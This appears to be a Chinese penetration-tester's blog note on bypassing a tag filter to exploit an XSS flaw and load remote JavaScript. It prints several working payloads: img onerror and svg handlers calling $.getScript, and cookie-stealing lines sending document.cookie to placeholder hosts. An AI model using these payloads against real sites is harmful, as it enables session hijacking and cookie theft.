XSS漏洞之加载远程js文件
前言
这次在对一个系统渗透测试过程中,发现一个XSS漏洞,可弹窗,并且没有httponly,但是在尝试加载远程js文件的时候发现,script标签被过滤掉了,准确的说应该是服务器后端在识别到输入内容有<>的时候,会把每对尖括号以及尖括号里面的内容都过滤掉,唯独有一个特例,就是img标签不会。
在网上找了一些资料,发现可以用img来加载远程js,陆陆续续试过以下几个方法:
1.第一种方法
<img src=x onerror=document.body.appendChild(document.createElement('img')).src='//xxx.xxx/a?cookie='+document.cookie>
用这种方式是将cookie写入到自己搭建的服务器下的一个txt文件里,这种方式能起作用,但是没读到cookie,失败了。具体原因应该是img不能加载js文件。
2.第二种方法
<img src=x onerror=document.body.appendChild(document.createElement('script')).src='//xxx.xxx/a.js'>
这种方法也没成功,应该是因为其中包含有script关键字被过滤了,so失败了
3.第三种方法
<svg onmouseover="$.getScript`https://xxx/a.js`" stype="display:none">
<img src=x onerror=$.getScript('https://xxx/a.js')> --也行
最终成功加载到远程js文件的payload。这种方法只要网站支持jQuery就可以这样子加载js文件
这种方法有三个要素,可以自由选择:
- 标签:svg、input、object、iframe、img、a、pbutton、script
- 属性:onmouseover、onmousemove、onclick、onerror、onload、onfocus+autofocus
- 事件代码可选择:
console.log(document.cookie)
document.location="http://www.test.com/cookie_catcher.php?c="+document.cookie
prompt(document.cookie)
confirm(document.cookie)
"$.getScript`https://xxx/a.js`" stype="display:none"
心得体会:
学习前辈的经验,一定要多思考,不要搬过来就直接用,多想想为什么,多去探索原理和本质,实践出真知。
另外,不要让代码能力成为自己的短板。
如果加班只是玩手机、刷微博,那一定是煎熬。如果是坚持的修炼,那一定收益颇丰。